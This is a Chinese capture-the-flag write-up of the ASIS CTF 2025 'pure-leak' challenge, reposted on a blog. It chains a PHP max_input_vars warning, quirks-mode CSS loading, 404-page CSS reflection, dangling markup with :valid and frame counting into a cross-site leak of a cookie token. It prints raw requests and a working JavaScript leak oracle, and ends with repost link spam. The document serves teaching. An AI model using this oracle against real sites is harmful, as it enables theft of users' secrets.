当前位置: 首页 > news >正文

基于错误xsleak 悬空标记 使用css利用帧计数 -- Pure leak ASIS CTF 2025

官方wp

https://blog.arkark.dev/2025/09/08/asisctf-quals

entrypoint.sh

#!/bin/sh
set -eu# load balancing
php -S 127.0.0.1:9000 &
php -S 127.0.0.1:9001 &
php -S 127.0.0.1:9002 &
php -S 127.0.0.1:9003 &cat > /tmp/Caddyfile << EOF
:3000 {header {deferContent-Security-Policy "script-src 'none'; default-src 'self'; base-uri 'none'"}reverse_proxy 127.0.0.1:9000 127.0.0.1:9001 127.0.0.1:9002 127.0.0.1:9003 {replace_status 200}
}
EOFexec caddy run --config /tmp/Caddyfile

index.php

<?php
// 校验输入内容的函数
function validate(mixed $input): string {// 检查输入是否为字符串类型if (!is_string($input)) return "Invalid types";// 检查字符串长度是否超过1024if (strlen($input) > 1024) return "Too long";// 检查是否包含非可打印ASCII字符(允许回车和换行)if (preg_match('/[^\x20-\x7E\r\n]/', $input)) return "Invalid characters";// 检查是否包含敏感关键字或特殊字符if (preg_match('*http|data|\\\\|\*|\[|\]|&|%|@|//*i', $input)) return "Invalid keywords";// 返回原始输入return $input;
}
?>
<!DOCTYPE html>
<html>
<body><h1>pure-leak 🫨</h1><h3>Source</h3><!-- 显示当前文件的源码,使用htmlspecialchars防止XSS --><pre><?php echo htmlspecialchars(file_get_contents(__FILE__)); ?></pre><h3>Content</h3><!-- 显示经过validate函数校验后的GET参数content内容 --><?php echo validate($_GET["content"] ?? "{{ your_input }}")."\n"; ?><h3>Token</h3><!-- 显示TOKEN的cookie值,若不存在则显示默认值 --><?php echo htmlspecialchars($_COOKIE["TOKEN"] ?? "TOKEN_0123456789abcdef"); ?><h3>Usage</h3><!-- 提供一个示例链接 --><a href="/?content=your_input">/?content=your_input</a>
</body>
</html>

part 1 PHP Error

当您向一个 PHP 脚本发起请求(GET 或 POST),并且请求中的参数总数超过 max_input_vars 指令的限制时,PHP 就会产生一条 E_WARNING 级别的错误信息。如果服务器配置为显示错误(通常在开发环境),这个警告就会直接输出到响应体的开头。

GET http://192.168.124.6:3000/?a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1 HTTP/1.1
Host: 192.168.124.6:3000
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJwty0sKhDAQBcC79NqAMRk0XkY6vhZs8IOJiIh312FmW1AX7Um2bgS1NDiOgnIwve-d8U0DE1GVRmprrYuoPz5S8Qv5XOUtKe-QOf915umLUIQxVKpgDceSWBem-wHiJiIu.aMfw-Q.PKDKgR88kzUfT_UtkxwAr0Vcfg8
Connection: keep-alive
HTTP/1.1 200 OK
Connection: close
Content-Security-Policy: script-src 'none'; default-src 'self'; base-uri 'none'
Content-Type: text/html; charset=UTF-8
Date: Mon, 15 Sep 2025 13:58:07 GMT
Host: 192.168.124.6:3000
Via: 1.1 Caddy
X-Powered-By: PHP/8.3.24
Content-Length: 2250<br />
<b>Warning</b>:  PHP Request Startup: Input variables exceeded 1000. To increase the limit change max_input_vars in php.ini. in <b>Unknown</b> on line <b>0</b><br />
<!DOCTYPE html>
<html>
...

part 2 Quirks Mode

浏览器为兼容早期非标准网页而启用的一套历史渲染与解析行为。当文档未正确声明标准 DOCTYPE,或在 DOCTYPE 之前已有任何字节输出(如服务器警告文本),浏览器会进入 Quirks Mode。此时 document.compatMode === "BackCompat";标准模式为 "CSS1Compat"

标准模式下:<link rel="stylesheet"> 仅在响应 Content-Type: text/css 时当作样式表处理。

Quirks Mode 下(仅限同源):即使响应类型不是 text/css,也必须把其当作 CSS 解析。这是规范中特意标注的“Quirk”例外,用于兼容旧站点。参考:WHATWG HTML 规范(stylesheet 链接的处理流程与“Quirk”说明)

https://html.spec.whatwg.org/multipage/links.html#link-type-stylesheet

Quirk: If the document has been set to quirks mode, has the same origin as the URL of the external resource, and the Content-Type metadata of the external resource is not a supported style sheet type, the user agent must instead assume it to be .[text/css](https://html.spec.whatwg.org/multipage/indices.html#text/css)

The linked resource fetch setup steps for this type of linked resource, given a element and request , are:[link](https://html.spec.whatwg.org/multipage/semantics.html#the-link-element)elrequest

  1. If 's attribute is set, then return false.el[disabled](https://html.spec.whatwg.org/multipage/semantics.html#attr-link-disabled)

  2. If contributes a script-blocking style sheet, append to its node document’s script-blocking style sheet set.elel

  3. If 's attribute’s value matches the environment and is potentially render-blocking, then block rendering on .el[media](https://html.spec.whatwg.org/multipage/semantics.html#attr-link-media)elel

  4. If is currently render-blocking, then set 's render-blocking to true.elrequest

  5. Return true.

See issue #968 for plans to use the CSSOM fetch a CSS style sheet algorithm instead of the default fetch and process the linked resource algorithm. In the meantime, any critical subresource request should have its render-blocking set to whether or not the element is currently render-blocking.[link](https://html.spec.whatwg.org/multipage/semantics.html#the-link-element)


part 3 use 404!

content 的注入点之前页面里已有 /*,而校验又禁止 *,无法写 */ 关掉注释。PHP 内置服务器的 404 页面会把“请求的 URL”原样插进响应体里。把 CSS 写进查询串,404 页就会把这段 CSS 放进正文,而且不在任何注释里。

GET http://192.168.124.6:3000/tere_you_payload.php HTTP/1.1
Host: 192.168.124.6:3000
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: session=.eJwty0sKhDAQBcC79NqAMRk0XkY6vhZs8IOJiIh312FmW1AX7Um2bgS1NDiOgnIwve-d8U0DE1GVRmprrYuoPz5S8Qv5XOUtKe-QOf915umLUIQxVKpgDceSWBem-wHiJiIu.aMfw-Q.PKDKgR88kzUfT_UtkxwAr0Vcfg8
Connection: keep-alive
HTTP/1.1 200 OK
Connection: close
Content-Length: 553
Content-Security-Policy: script-src 'none'; default-src 'self'; base-uri 'none'
Content-Type: text/html; charset=UTF-8
Date: Mon, 15 Sep 2025 14:45:57 GMT
Host: 192.168.124.6:3000
Via: 1.1 Caddy<!doctype html><html><head><title>404 Not Found</title><style>
body { background-color: #fcfcfc; color: #333333; margin: 0; padding:0; }
h1 { font-size: 1.5em; font-weight: normal; background-color: #9999cc; min-height:2em; line-height:2em; border-bottom: 1px inset black; margin: 0; }
h1, p { padding-left: 10px; }
code.url { background-color: #eeeeee; font-family:monospace; padding:0 2px;}
</style>
</head><body><h1>Not Found</h1><p>The requested resource <code class="url">/tere_you_payload.php</code> was not found on this server.</p></body></html>

part 4 悬空标记

因为csp,我们无法使用选择器外带token

:valid - CSS | MDN

但是有一个可用的 :valid 属性

<style>
label {display: block;margin-top: 1em;
}input:valid {background-color: ivory;border: none;outline: 2px solid deepskyblue;border-radius: 5px;accent-color: gold;
}
</style>
<form><label for="email">Email Address:</label><input id="email" name="email" type="email" value="na@me@example.com" /><label for="secret">Secret Code: (lower case letters)</label><input id="secret" name="secret" type="text" value="test" pattern="[a-z]+" /><label for="age">Your age: (18+)</label><input id="age" name="age" type="number" value="5" min="18" /><label><input name="tos" type="checkbox" required checked /> - Do you agree toToS?</label>
</form>

当 value 中包含 TOKEN_012 时,input:valid 为真,父 div 背景变绿;否则不变。

<link href="/tere_you_payload.php?{}div:has(input:valid){background:limegreen}" rel="stylesheet">
<div><input pattern=".+TOKEN_012.+" value="
<link href="/tere_you_payload.php?{}div:has(input:valid){background:limegreen}" rel="stylesheet">
<div> <input pattern=". TOKEN_012. " value="&lt;h3&gt;Token&lt;/h3&gt;&lt;!-- 显示TOKEN的cookie值,若不存在则显示默认值 --&gt;TOKEN_0123456789abcdef  &lt;h3&gt;Usage&lt;/h3&gt;&lt;!-- 提供一个示例链接 --&gt;&lt;a href=" ?content="your_input&quot;">/?content=your_input
</div>

part 5 帧计数

帧计数 |XS-Leaks 维基

window.length

**window.length 表示当前窗口中“子浏览上下文”的数量,即 frame/iframe 的个数。等同于 window.frames.length。如果页面没有任何 frame/iframe,它就是 0。

<iframe src="a.html"></iframe>
<iframe src="b.html"></iframe>
<script>
console.log(window.length); // 2
for (let i = 0; i < window.length; i++) {console.log(window.frames[i].location.href);
}
</script>

示例

  • window.length 计数对象:只计算当前窗口中“直接子”浏览上下文(frame/iframe/object/embed 等会创建 NBC 的元素)。
  • <object type="text/html"> 的特性:当元素参与渲染时,浏览器会为其实例化一个嵌套浏览上下文;如果在它被构造/布局前就处于 display:none,通常不会实例化该上下文。
<!doctype html>
<meta charset="utf-8">
<title>用解析阶段样式门控 NBC 创建</title><button id="hit">命中(length 预期 0)</button>
<button id="miss">未命中(length 预期 1)</button>
<pre id="log"></pre><script>// 简单日志(中文注释,不改动代码逻辑)function log(...args) {document.getElementById('log').textContent += args.join(' ') + '\n';console.log(...args);}const sleep = ms => new Promise(r => setTimeout(r, ms));// 打开同源子窗口,便于读取 win.lengthconst win = open('about:blank', '_blank');async function render({ value }) {// 整体重写新文档:样式在前,元素在后,让样式在解析阶段就生效const html = `
<!doctype html>
<meta charset="utf-8">
<style>
/* 命中 :valid 时,整个容器 display:none,从而阻止 <object> 创建 NBC */
div:has(input:valid) { display: none; }
</style>
<div id="box"><object data="about:blank" type="text/html" width="200" height="100"></object><input pattern="ABC" value="${value}">
</div>`;win.document.open();win.document.write(html);win.document.close();// 等待创建/不创建完成后再读计数await sleep(150);log('win.length =', win.length);}document.getElementById('hit').onclick = () => render({ value: 'ABC' });  // 命中 :valid → 0document.getElementById('miss').onclick = () => render({ value: 'ABD' }); // 未命中 → 1
</script>
  • 解析顺序关键点
    1. win.document.open()/write()/close() 将子窗口导航到全新文档;
    2. 这份文档里把 <style> 放在元素前,CSS 在解析时同步生效;
    3. 规则 div:has(input:valid){display:none} 若命中,会让包含 <object> 的父 div 直接变为 display:none
    4. 因为父容器在构建阶段即为 display:none,其中的 <object> 不会被实例化为活动的嵌入内容,自然也就不会创建 NBC;
    5. 最终读取 win.length:命中则为 0,未命中则 <object> 创建 NBC,变为 1。
  • 命中条件来源<input pattern="ABC" value="${value}"> 与伪类 :valid。当 value"ABC" 时命中 :validdiv 被隐藏;否则不隐藏。
  • 为什么需要 await sleep(150):给浏览器一个短暂窗口完成(或不完成)NBC 实例化,避免竞态导致读数抖动。

通过这个原理写出

<script>
const sleep = (ms) => new Promise(r => setTimeout(r, ms));const win = open("");const match = async (pattern) => {const BASE_URL = "http://192.168.124.6:3000";win.location = "about:blank";await sleep(100);const content = `<link href="/not-found.txt?{}div:has(input:valid){display:none}" rel="stylesheet"><div><embed src="about:blank" type="text/html"><input pattern=".+${pattern}.+" value="`;const url = `${BASE_URL}?content=${encodeURIComponent(content)}${"&a".repeat(1000)}`;win.location = url;await sleep(100);return win.length === 0;
};(async () => {const result = await match("TOKEN_123");console.log(result);
})();
</script>

QEF

#xss #帧计数 #悬空标记 #xs-leak基于错误的


文章转载自:

http://aypNcOFN.Lsfbb.cn
http://qBGUvehR.Lsfbb.cn
http://4aN8hl2G.Lsfbb.cn
http://66GCfu35.Lsfbb.cn
http://oJ5cSYxF.Lsfbb.cn
http://u92cc1gJ.Lsfbb.cn
http://AqgFYBGh.Lsfbb.cn
http://Ukd0YVWx.Lsfbb.cn
http://sp5Tz6ut.Lsfbb.cn
http://WuzRKaxp.Lsfbb.cn
http://xZwNCmFY.Lsfbb.cn
http://eXo7w6TS.Lsfbb.cn
http://fxniOEgt.Lsfbb.cn
http://30Irc1t1.Lsfbb.cn
http://GLhORRXa.Lsfbb.cn
http://llNn86Tn.Lsfbb.cn
http://gsTQNZGm.Lsfbb.cn
http://nOKBvRuJ.Lsfbb.cn
http://wlzwkj3L.Lsfbb.cn
http://ZRHdkG5O.Lsfbb.cn
http://Awv7jjlE.Lsfbb.cn
http://0gGhfNfq.Lsfbb.cn
http://wTQSAFE0.Lsfbb.cn
http://FScseRUw.Lsfbb.cn
http://BoYyNvGu.Lsfbb.cn
http://eTV2IOYf.Lsfbb.cn
http://JZj4VSRT.Lsfbb.cn
http://7UfbzAmw.Lsfbb.cn
http://LWTpTMlL.Lsfbb.cn
http://wo7eknpJ.Lsfbb.cn
http://www.dtcms.com/a/386144.html

相关文章:

  • 【Day 57】Redis的部署
  • 在 Zellij 中用 Neovim 优雅地解决剪贴板同步问题
  • 云手机的技术架构可分为哪些
  • 基于 GitHub Actions 的 Kubernetes 集群节点变更操作自动化
  • 嵌入式第五十四天(EPIT,GPT)
  • 何为楼宇自动化控制系统的质量管理?本质与关键要素解析
  • Spring 源码学习(十二)—— HandlerMapping(一)
  • 七牛云技术前瞻:GPT-5-Codex如何开启智能体编程新时代
  • The Oxford-IIIT宠物图像识别数据集(753M)
  • 从Cursor到GPT-5-Codex:AI编程Agent的技术与商业全解析
  • 实践-医学影像AI诊断系统:基于DICOMweb、ViT/U-Net和Orthanc的端到端实现
  • HarmonyOS 应用开发新范式:深入理解声明式 UI 与状态管理 (基于 ArkUI API 12+)
  • UDP和TCP网络通信
  • 基于R语言的水文、水环境模型优化技术及快速率定方法与多模型案例应用
  • 网络:RDMA原理以及在AI基础设施中的应用
  • 深度学习之pytorch基本使用(二)
  • Redis 协议(RESP)详解:请求与响应解析
  • k8s污点与容忍介绍
  • 设计模式-桥接模式04
  • 设计模式-桥接模式01
  • 架构设计java
  • 零知IDE——基于STM32F407VET6的HC-SR505安防监控系统
  • P1439 两个排列的最长公共子序列-普及+/提高
  • C#上位机软件:1.2 工控上位机学习内容和前提条件
  • 非常经典的Android开发问题-mipmap图标目录和drawable图标目录的区别和适用场景实战举例-优雅草卓伊凡
  • Linux-> UDP 编程2
  • EPLAN-关联参考
  • 实验部分撰写要求
  • R语言入门课| 08 变量的重编码与重命名
  • Ubuntu 系统下搭建 FTP 服务器及文件传输